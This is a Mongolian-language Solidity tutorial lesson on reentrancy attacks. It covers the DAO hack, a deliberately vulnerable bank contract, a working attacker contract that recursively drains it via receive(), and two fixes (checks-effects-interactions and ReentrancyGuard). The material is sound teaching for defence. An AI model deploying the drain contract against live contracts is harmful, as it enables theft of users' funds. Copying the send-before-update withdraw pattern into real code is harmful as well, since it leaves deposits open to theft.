Reentrancy attack
Reentrancy бол blockchain-ийн түүхэн дэх хамгийн алдартай халдлага. 2016 онд The DAO-г хакердаж $60 сая долларын ETH хулгайлсан бөгөөд Ethereum-ийн hard fork-д хүргэсэн.
Reentrancy яаж ажилладаг вэ?
Үндсэн санаа: Contract А нь Contract В руу ETH илгээхэд, В-ийн receive() функц дахин А руу дуудлага хийж болно — А-ийн балансын шинэчлэл хийгдэхээс өмнө.
1. Халдагч withdraw() дуудна
2. VulnerableBank ETH илгээнэ → Халдагчийн receive() ажиллана
3. receive() дотор дахин withdraw() дуудна (баланс хэсийн нь 0 болоогүй!)
4. VulnerableBank дахин ETH илгээнэ
5. ... үргэлжлэнэ (gas дуустал)
6. Эцэст нь балансыг 0 болгоно — гэхдээ хэт оройтсон
Өртөмтгий contract жишээ
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// ⚠️ АЮУЛТАЙ — энэ кодыг mainnet-д ашиглаж болохгүй
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 amount = balances[msg.sender];
require(amount > 0, "Үлдэгдэл байхгүй");
// ❌ АЛДАА: Эхлээд ETH илгээнэ
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Илгээхэд алдаа");
// ❌ АЛДАА: Дараа нь тооцоо шинэчилнэ — хэт оройтсон!
balances[msg.sender] = 0;
}
}
Халдагчийн contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IVulnerableBank {
function deposit() external payable;
function withdraw() external;
}
contract Attacker {
IVulnerableBank public bank;
address public owner;
uint256 public attackAmount;
constructor(address _bankAddress) {
bank = IVulnerableBank(_bankAddress);
owner = msg.sender;
}
// Халдлага эхлүүлэх
function attack() public payable {
require(msg.value >= 1 ether, "Хамгийн багадаа 1 ETH");
attackAmount = msg.value;
// 1. Эхлээд хуурамч deposit хийнэ
bank.deposit{value: msg.value}();
// 2. Withdraw дуудна — reentrancy эхэлнэ
bank.withdraw();
}
// Bank ETH илгээх бүрт энэ функц ажиллана
receive() external payable {
// Bank-д ETH байгаа л бол давтан дуудна
if (address(bank).balance >= attackAmount) {
bank.withdraw(); // Дахин withdraw!
}
}
function collectFunds() public {
require(msg.sender == owner, "Зөвхөн эзэмшигч");
payable(owner).transfer(address(this).balance);
}
}
Халдлагын дараалал дэлгэрэнгүй
Attacker.attack() дуудна (1 ETH-тэй)
│
├─► bank.deposit{value: 1 ETH}() → balances[attacker] = 1 ETH
│
└─► bank.withdraw()
│
├─ amount = balances[attacker] = 1 ETH
├─ msg.sender.call{value: 1 ETH}("") ← ETH илгээнэ
│ │
│ └─► Attacker.receive() ажиллана!
│ │
│ └─► bank.withdraw() ДАХИН дуудна
│ │
│ ├─ amount = balances[attacker] = 1 ETH (0 болоогүй!)
│ ├─ msg.sender.call{value: 1 ETH}("")
│ │ └─► Attacker.receive() → withdraw() → ...
│ └─ balances[attacker] = 0 ← Хэт оройтсон
│
└─ balances[attacker] = 0 ← Хэт оройтсон
Засах арга 1 — Checks-Effects-Interactions
Хамгийн энгийн бөгөөд үр дүнтэй арга: төлөвийг гадаад дуудлагаас өмнө шинэчлэх.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract FixedBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
// ✅ 1. Checks
uint256 amount = balances[msg.sender];
require(amount > 0, "Үлдэгдэл байхгүй");
// ✅ 2. Effects — ЭХЛЭЭД тооцоо шинэчилнэ
balances[msg.sender] = 0;
// ✅ 3. Interactions — ДАРАА нь ETH илгээнэ
(bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "Илгээхэд алдаа");
}
}
Одоо халдагч дахин withdraw() дуудахад balances[attacker] = 0 байна — require буцаана.
Засах арга 2 — ReentrancyGuard (OpenZeppelin)
OpenZeppelin-ийн ReentrancyGuard нь nonReentrant modifier-ийг нэмнэ. Функц ажиллаж байх үед дахин дуудахыг хориглоно.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract SecureBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
// nonReentrant modifier — дахин дуудлагыг хориглоно
function withdraw() public nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "Үлдэгдэл байхгүй");
balances[msg.sender] = 0;
(bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "Илгээхэд алдаа");
}
}
ReentrancyGuard яаж ажилладаг вэ?
// OpenZeppelin-ийн дотоод механизм (хялбарчилсан)
contract ReentrancyGuard {
uint256 private _status; // 1 = нэвтрээгүй, 2 = нэвтэрсэн
modifier nonReentrant() {
require(_status != 2, "Дахин дуудлага хориглогдсон");
_status = 2; // Нэвтэрсэн гэж тэмдэглэнэ
_;
_status = 1; // Гарсан гэж тэмдэглэнэ
}
}
Хоёр аргыг хослуулах — хамгийн найдвартай
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract BestPracticeBank is ReentrancyGuard {
mapping(address => uint256) public balances;
event Deposited(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
function deposit() public payable {
require(msg.value > 0, "Дүн 0-ээс их байх ёстой");
balances[msg.sender] += msg.value;
emit Deposited(msg.sender, msg.value);
}
function withdraw(uint256 amount) public nonReentrant {
// Checks
require(amount > 0, "Дүн 0-ээс их байх ёстой");
require(balances[msg.sender] >= amount, "Үлдэгдэл хүрэлцэхгүй");
// Effects
balances[msg.sender] -= amount;
emit Withdrawn(msg.sender, amount);
// Interactions
(bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "ETH илгээхэд алдаа");
}
}
Хамгаалалтын хураангуй
| Арга | Хэрэгжүүлэлт | Найдвартай байдал |
| --------------------------- | ----------------------------- | ----------------------- |
| Checks-Effects-Interactions | Кодын дараалал зөв байлгах | ✅ Сайн |
| ReentrancyGuard | nonReentrant modifier нэмэх | ✅ Сайн |
| Хослуулах | Хоёуланг хамт ашиглах | ✅✅ Хамгийн найдвартай |
Дараагийн хичээлд:
Hardhat тохируулж, орон нутгийн хөгжүүлэлтийн орчин бэлдэнэ.